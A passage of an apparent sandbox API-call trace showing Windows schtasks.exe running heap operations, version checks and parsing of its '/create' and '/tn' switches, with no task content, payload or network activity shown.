dwFlags=0x0, lpMem=0x36cd40 | out: hHeap=0x350000) returned 1 [0090.548] GetProcessHeap () returned 0x350000 [0090.548] GetProcessHeap () returned 0x350000 [0090.548] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c390) returned 1 [0090.548] GetProcessHeap () returned 0x350000 [0090.548] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c390) returned 0x8 [0090.548] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c390 | out: hHeap=0x350000) returned 1 [0090.548] GetProcessHeap () returned 0x350000 [0090.549] GetProcessHeap () returned 0x350000 [0090.549] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd70) returned 1 [0090.549] GetProcessHeap () returned 0x350000 [0090.549] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd70) returned 0x20 [0090.549] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd70 | out: hHeap=0x350000) returned 1 [0090.549] GetProcessHeap () returned 0x350000 [0090.549] GetProcessHeap () returned 0x350000 [0090.549] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3b0) returned 1 [0090.549] GetProcessHeap () returned 0x350000 [0090.549] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c3b0) returned 0x10 [0090.549] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3b0 | out: hHeap=0x350000) returned 1 [0090.550] GetProcessHeap () returned 0x350000 [0090.550] GetProcessHeap () returned 0x350000 [0090.550] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cda0) returned 1 [0090.550] GetProcessHeap () returned 0x350000 [0090.550] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cda0) returned 0x20 [0090.550] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cda0 | out: hHeap=0x350000) returned 1 [0090.550] GetProcessHeap () returned 0x350000 [0090.550] GetProcessHeap () returned 0x350000 [0090.550] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3d0) returned 1 [0090.550] GetProcessHeap () returned 0x350000 [0090.551] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c3d0) returned 0x8 [0090.551] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3d0 | out: hHeap=0x350000) returned 1 [0090.551] GetProcessHeap () returned 0x350000 [0090.551] GetProcessHeap () returned 0x350000 [0090.551] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0) returned 1 [0090.551] GetProcessHeap () returned 0x350000 [0090.551] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cdd0) returned 0x20 [0090.551] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0 | out: hHeap=0x350000) returned 1 [0090.551] GetProcessHeap () returned 0x350000 [0090.551] GetProcessHeap () returned 0x350000 [0090.551] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367bc0) returned 1 [0090.552] GetProcessHeap () returned 0x350000 [0090.552] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367bc0) returned 0x38 [0090.552] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367bc0 | out: hHeap=0x350000) returned 1 [0090.552] GetProcessHeap () returned 0x350000 [0090.552] GetProcessHeap () returned 0x350000 [0090.552] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce00) returned 1 [0090.552] GetProcessHeap () returned 0x350000 [0090.552] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce00) returned 0x20 [0090.553] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce00 | out: hHeap=0x350000) returned 1 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddd0) returned 1 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ddd0) returned 0x8 [0090.553] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddd0 | out: hHeap=0x350000) returned 1 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce30) returned 1 [0090.553] GetProcessHeap () returned 0x350000 [0090.553] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce30) returned 0x20 [0090.554] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce30 | out: hHeap=0x350000) returned 1 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d620) returned 1 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d620) returned 0x10 [0090.554] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d620 | out: hHeap=0x350000) returned 1 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce60) returned 1 [0090.554] GetProcessHeap () returned 0x350000 [0090.554] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce60) returned 0x20 [0090.555] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce60 | out: hHeap=0x350000) returned 1 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddf0) returned 1 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ddf0) returned 0x6 [0090.555] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddf0 | out: hHeap=0x350000) returned 1 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce90) returned 1 [0090.555] GetProcessHeap () returned 0x350000 [0090.555] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce90) returned 0x20 [0090.556] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce90 | out: hHeap=0x350000) returned 1 [0090.556] GetProcessHeap () returned 0x350000 [0090.556] GetProcessHeap () returned 0x350000 [0090.556] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bab0) returned 1 [0090.556] GetProcessHeap () returned 0x350000 [0090.556] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bab0) returned 0x18 [0090.556] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bab0 | out: hHeap=0x350000) returned 1 [0090.557] SetLastError (dwErrCode=0x0) [0090.557] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0090.557] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0090.557] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0090.557] VerifyVersionInfoW (in: lpVersionInformation=0x1dc7b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1dc7b0) returned 1 [0090.557] SetLastError (dwErrCode=0x0) [0090.557] lstrlenW (lpString="create") returned 6 [0090.557] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0090.557] SetLastError (dwErrCode=0x490) [0090.557] SetLastError (dwErrCode=0x0) [0090.557] lstrlenW (lpString="create") returned 6 [0090.557] GetProcessHeap () returned 0x350000 [0090.557] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce90 [0090.557] GetProcessHeap () returned 0x350000 [0090.557] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d620 [0090.557] _memicmp (_Buf1=0x36d620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.557] GetProcessHeap () returned 0x350000 [0090.557] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36d640 [0090.557] SetLastError (dwErrCode=0x0) [0090.557] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.557] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0090.557] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0090.558] GetProcessHeap () returned 0x350000 [0090.558] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x74e) returned 0x36ddd0 [0090.558] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x36ddd0 | out: lpData=0x36ddd0) returned 1 [0090.558] VerQueryValueW (in: pBlock=0x36ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1dc898, puLen=0x1dc900 | out: lplpBuffer=0x1dc898*=0x36e16c, puLen=0x1dc900) returned 1 [0090.558] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.559] _vsnwprintf (in: _Buffer=0x36bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1dc878 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0090.559] VerQueryValueW (in: pBlock=0x36ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1dc908, puLen=0x1dc8f8 | out: lplpBuffer=0x1dc908*=0x36df98, puLen=0x1dc8f8) returned 1 [0090.559] lstrlenW (lpString="schtasks.exe") returned 12 [0090.559] lstrlenW (lpString="schtasks.exe") returned 12 [0090.559] lstrlenW (lpString=".EXE") returned 4 [0090.559] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0090.559] lstrlenW (lpString="schtasks.exe") returned 12 [0090.559] lstrlenW (lpString=".EXE") returned 4 [0090.559] lstrlenW (lpString="schtasks") returned 8 [0090.559] lstrlenW (lpString="/create") returned 7 [0090.559] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.559] _vsnwprintf (in: _Buffer=0x36bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1dc878 | out: _Buffer="schtasks /create") returned 16 [0090.559] _memicmp (_Buf1=0x36bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.559] GetProcessHeap () returned 0x350000 [0090.559] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce60 [0090.559] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.559] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0090.559] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0090.559] GetProcessHeap () returned 0x350000 [0090.559] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x30) returned 0x367bc0 [0090.559] _vsnwprintf (in: _Buffer=0x36c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1dc878 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0090.559] GetProcessHeap () returned 0x350000 [0090.560] GetProcessHeap () returned 0x350000 [0090.560] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddd0) returned 1 [0090.560] GetProcessHeap () returned 0x350000 [0090.560] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ddd0) returned 0x74e [0090.560] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ddd0 | out: hHeap=0x350000) returned 1 [0090.560] SetLastError (dwErrCode=0x0) [0090.560] GetThreadLocale () returned 0x409 [0090.560] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.560] lstrlenW (lpString="create") returned 6 [0090.560] GetThreadLocale () returned 0x409 [0090.560] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="?") returned 1 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="s") returned 1 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="u") returned 1 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="p") returned 1 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="ru") returned 2 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="rp") returned 2 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="sc") returned 2 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="mo") returned 2 [0090.561] GetThreadLocale () returned 0x409 [0090.561] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.561] lstrlenW (lpString="d") returned 1 [0090.561] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="m") returned 1 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="i") returned 1 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="tn") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="tr") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="st") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="sd") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="ed") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="it") returned 2 [0090.562] GetThreadLocale () returned 0x409 [0090.562] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.562] lstrlenW (lpString="et") returned 2 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="k") returned 1 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="du") returned 2 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="ri") returned 2 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="z") returned 1 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="f") returned 1 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="v1") returned 2 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="xml") returned 3 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="ec") returned 2 [0090.563] GetThreadLocale () returned 0x409 [0090.563] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.563] lstrlenW (lpString="rl") returned 2 [0090.564] GetThreadLocale () returned 0x409 [0090.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.564] lstrlenW (lpString="delay") returned 5 [0090.564] GetThreadLocale () returned 0x409 [0090.564] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.564] lstrlenW (lpString="np") returned 2 [0090.564] SetLastError (dwErrCode=0x0) [0090.564] SetLastError (dwErrCode=0x0) [0090.564] lstrlenW (lpString="/create") returned 7 [0090.564] lstrlenW (lpString="-/") returned 2 [0090.564] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.564] lstrlenW (lpString="create") returned 6 [0090.564] lstrlenW (lpString="create") returned 6 [0090.564] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.564] lstrlenW (lpString="create") returned 6 [0090.564] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.564] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.564] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.564] lstrlenW (lpString="|create|") returned 8 [0090.564] lstrlenW (lpString="|create|") returned 8 [0090.564] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0090.564] SetLastError (dwErrCode=0x0) [0090.564] SetLastError (dwErrCode=0x0) [0090.564] SetLastError (dwErrCode=0x0) [0090.564] lstrlenW (lpString="/tn") returned 3 [0090.565] lstrlenW (lpString="-/") returned 2 [0090.565] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.565] lstrlenW (lpString="create") returned 6 [0090.565] lstrlenW (lpString="create") returned 6 [0090.565] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.565] lstrlenW (lpString="tn") returned 2 [0090.565] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.565] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.565] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.565] lstrlenW (lpString="|create|") returned 8 [0090.565] lstrlenW (lpString="|tn|") returned 4 [0090.565] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0090.565] SetLastError (dwErrCode=0x490) [0090.565] lstrlenW (lpString="?") returned 1 [0090.565] lstrlenW (lpString="?") returned 1 [0090.565] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.565] lstrlenW (lpString="tn") returned 2 [0090.565] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.565] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|?|") returned 3 [0090.565] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.565] lstrlenW (lpString="|?|") returned 3 [0090.565] lstrlenW (lpString="|tn|") returned 4 [0090.565] SetLastError (dwErrCode=0x490) [0090.565] lstrlenW (lpString="s") returned 1 [0090.566] lstrlenW (lpString="s") returned 1 [0090.566] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.566] lstrlenW (lpString="tn") returned 2 [0090.566] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.566] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|s|") returned 3 [0090.566] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.566] lstrlenW (lpString="|s|") returned 3 [0090.566] lstrlenW (lpString="|tn|") returned 4 [0090.566] SetLastError (dwErrCode=0x490) [0090.566] lstrlenW (lpString="u") returned 1 [0090.566] lstrlenW (lpString="u") returned 1 [0090.566] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.566] lstrlenW (lpString="tn") returned 2 [0090.566] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.566] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|u|") returned 3 [0090.566] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.566] lstrlenW (lpString="|u|") returned 3 [0090.566] lstrlenW (lpString="|tn|") returned 4 [0090.566] SetLastError (dwErrCode=0x490) [0090.566] lstrlenW (lpString="p") returned 1 [0090.566] lstrlenW (lpString="p") returned 1 [0090.566] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.567] lstrlenW (lpString="tn") returned 2 [0090.567] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.567] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|p|") returned 3 [0090.567] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.567] lstrlenW (lpString="|p|") returned 3 [0090.567] lstrlenW (lpString="|tn|") returned 4 [0090.567] SetLastError (dwErrCode=0x490) [0090.567] lstrlenW (lpString="ru") returned 2 [0090.567] lstrlenW (lpString="ru") returned 2 [0090.567] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.567] lstrlenW (lpString="tn") returned 2 [0090.567] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.567] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ru|") returned 4 [0090.567] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.567] lstrlenW (lpString="|ru|") returned 4 [0090.567] lstrlenW (lpString="|tn|") returned 4 [0090.567] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0090.567] SetLastError (dwErrCode=0x490) [0090.567] lstrlenW (lpString="rp") returned 2 [0090.567] lstrlenW (lpString="rp") returned 2 [0090.567] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.567] lstrlenW (lpString="tn") returned 2 [0090.567] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.568] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rp|") returned 4 [0090.568] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.568] lstrlenW (lpString="|rp|") returned 4 [0090.568] lstrlenW (lpString="|tn|") returned 4 [0090.568] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0090.568] SetLastError (dwErrCode=0x490) [0090.568] lstrlenW (lpString="sc") returned 2 [0090.568] lstrlenW (lpString="sc") returned 2 [0090.568] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.568] lstrlenW (lpString="tn") returned 2 [0090.568] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.568] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.568] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.568] lstrlenW (lpString="|sc|") returned 4 [0090.568] lstrlenW (lpString="|tn|") returned 4 [0090.568] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0090.568] SetLastError (dwErrCode=0x490) [0090.568] lstrlenW (lpString="mo") returned 2 [0090.568] lstrlenW (lpString="mo") returned 2 [0090.568] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.568] lstrlenW (lpString="tn") returned 2 [0090.568] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.568] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|mo|") returned 4 [0090.569] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.569] lstrlenW (lpString="|mo|") returned 4 [0090.569] lstrlenW (lpString="|tn|") returned 4 [0090.569] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0090.569] SetLastError (dwErrCode=0x490) [0090.569] lstrlenW (lpString="d") returned 1 [0090.569] lstrlenW (lpString="d") returned 1 [0090.569] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.569] lstrlenW (lpString="tn") returned 2 [0090.569] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.569] 